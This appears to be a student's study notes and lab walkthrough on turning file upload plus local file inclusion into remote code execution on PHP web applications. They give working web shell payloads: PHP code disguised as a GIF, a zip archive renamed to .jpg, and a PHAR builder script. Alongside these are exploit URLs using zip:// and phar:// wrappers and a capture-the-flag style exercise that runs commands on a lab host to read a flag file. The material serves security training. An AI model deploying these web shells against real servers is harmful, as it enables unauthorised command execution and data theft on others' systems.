# Intro - File upload functionalities are ubiquitous in most modern web apps, as users usually need to configure their profile and usage of the web application by uploading their data - For attackers, the ability to store files on the back-end server may extend the exploitation of many vulnerabilities, like a file inclusion vulnerability - We do not require the file upload form to be vulnerable, but merely allow us to upload files - If the vulnerable function has code execution capabilities, then the code within the file we upload will get executed if we include it, regardless of the file extension or file type - For example, we can upload an image file (e.g. `image.jpg`), and store a PHP web shell code within it instead of image data, and if we include it through the LFI vulnerability, the PHP code will get executed and we will have remote code execution - Following function allow code execution with file inclusion | **Function** | **Read Content** | **Execute** | **Remote URL** | | ---------------------------- | :--------------: | :---------: | :------------: | | **PHP** | | | | | `include()`/`include_once()` | ✅ | ✅ | ✅ | | `require()`/`require_once()` | ✅ | ✅ | ❌ | | **NodeJS** | | | | | `res.render()` | ✅ | ✅ | ❌ | | **Java** | | | | | `import` | ✅ | ✅ | ✅ | | **.NET** | | | | | `include` | ✅ | ✅ | ✅ | # Image Upload - Image upload is very common in most modern web applications, as uploading images is widely regarded as safe if the upload function is securely coded ## Creating a Malicious Image - Make sue to include the "magic bytes" at the bellowing of the file content such as `GIF8` for `.gif` files ```bash echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif ``` ## Uploaded File's Path - Once we've uploaded our file, all we need to do is include it through the LFI vulnerability - To include the uploaded file, we need to know the path to our uploaded file - Usually, we can inspect the source code after uploading the image to determine the path - We can also fuzz for the uploaded file - This may not always work as some web applications properly hide the uploaded files - Assume the the source code shows the below ```html <img src="/profile_images/shell.gif" class="profile-image" id="profile-image"> ``` - We can browse to the path of image and append a command to execute using the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id ``` ![[images/Pasted image 20251219200951.png]] - If there are prefix directories we can prepend one or more `../` # ZIP Upload - We can utilize the [zip](https://www.php.net/manual/en/wrappers.compression.php) wrapper to execute PHP code - However, this wrapper isn't enabled by default, so this method may not always work - To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows ```bash echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php ``` - Once we upload the `shell.jpg` archive, we can include it with the `zip` wrapper as (`zip://shell.jpg`), and then refer to any files within it with `#shell.php` (URL encoded) and execute commands with `&cmd=id` like the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id ``` ![[images/Pasted image 20251219201327.png]] - Here, we added the uploads directory (`./profile_images/`) before the file name, as the vulnerable page (`index.php`) is in the main directory # PHAR Upload - We can use the `phar://` wrapper to achieve a similar result to the ZIP wrapper - To do so, we will first write the following PHP script into a `shell.php` file like below ```php <?php $phar = new Phar('shell.phar'); $phar->startBuffering(); $phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering(); ``` - This script can be compiled into a `phar` file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with - We can compile it into a `phar` file and rename it to `shell.jpg` as follows: ```bash php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg ``` - Now, we should have a phar file called `shell.jpg` - Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with `&cmd=id` like the below URL ```url http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id ``` ![[images/Pasted image 20251219201613.png]] # Exercise - ping test ![[images/Pasted image 20251219201717.png]] - nmap scan ![[images/Pasted image 20251219201741.png]] - visit page ![[images/Pasted image 20251219201736.png]] - `/settings.php` has an image upload feature for user profile ![[images/Pasted image 20251219201840.png]] - Supported image types include: ![[images/Pasted image 20251219201909.png]] - Let's create a malicious `.gif` using the below ```bash echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif ``` ![[images/Pasted image 20251219202015.png]] - Upload and check source code for image path ![[images/Pasted image 20251219202259.png]]![[images/Pasted image 20251219202313.png]] - Visit the path to the malicious image and provide a command using the below URL ```url http://4.237.51.160:41343/index.php?language=./profile_images/shell.gif&cmd=pwd ``` ![[images/Pasted image 20251219202454.png]] - Okay, we have RCE. Now let's list the `/` directory - very notable `.txt` file ![[images/Pasted image 20251219202553.png]] - `cat` the unique `.txt` file WITHOUT "magic byte" using below URL ```url http://94.237.51.160:41343/index.php?language=./profile_images/shell.gif&cmd=cat%20%2F2f40d853e2d4768d87da1c81772bae0a.txt ``` ![[images/Pasted image 20251219203625.png]]![[images/Pasted image 20251219203638.png]]